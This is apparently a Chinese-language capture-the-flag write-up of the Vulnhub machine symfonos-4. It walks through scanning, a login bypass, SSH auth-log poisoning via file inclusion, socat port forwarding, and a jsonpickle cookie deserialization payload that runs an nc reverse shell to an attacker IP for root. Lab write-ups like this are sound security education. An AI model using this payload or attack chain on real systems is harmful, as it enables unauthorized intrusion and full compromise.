symfonos-4

来源:Vulnhub

难度:Intermediate

nmap -O -A -Pn -sV -sS -p- 192.168.7.0/24 -vv -exclude 192.168.7.133
# 对除了192.168.7.133之外的目标进行全端口SYN半开扫描,探测系统和服务

发现目标192.168.36.137开启了80,22端口,对应web,ssh服务
使用dirb扫描发现登陆口:

dirb http://192.168.7.132/ /usr/share/dirb/wordlists/big.txt -r -X .php,.zip,.rar

---- Scanning URL: http://192.168.7.132/ ----
+ http://192.168.7.132/atlantis.php (CODE:200|SIZE:1718)


使用万能密码登录成功:

发现可能存在文件包含,尝试包含/etc/passwd和ssh日志文件(开启了ssh服务)

http://192.168.7.132/sea.php?file=../../../../var/log/auth  # 包含ssh日志

发现可以包含ssh日志,便尝试通过nc连接ssh往ssh日志里写webshell:

这里由于环境原因,要用system和post写一句话
尝试包含日志执行命令:

getshell后上传脚本尝试提权,发现本地127.0.0.1地址的8080端口开着一个web服务,使用socat将其转发到另一个端口:

socat TCP-LISTEN:8000,fork TCP:127.0.0.1:8080

# 将本地8080端口转发到本地8000端口(0.0.0.0:8000)

访问到一个新页面,查看cookie发现类似base64编码,解码后发现cookie的明文:


搜索发现这里有反序列化漏洞,具体连接如下:
https://versprite.com/vs-labs/into-the-jar-jsonpickle-exploitation/
payload如下:

{"py/object": "__main__.Shell", "py/reduce": [{"py/type": "os.system"}, {"py/tuple": ["nc -e /bin/bash 192.168.3.237 10001"]}, null, null, null]}

base64编码后修改cookie,成功获取root shell

⬆︎TOP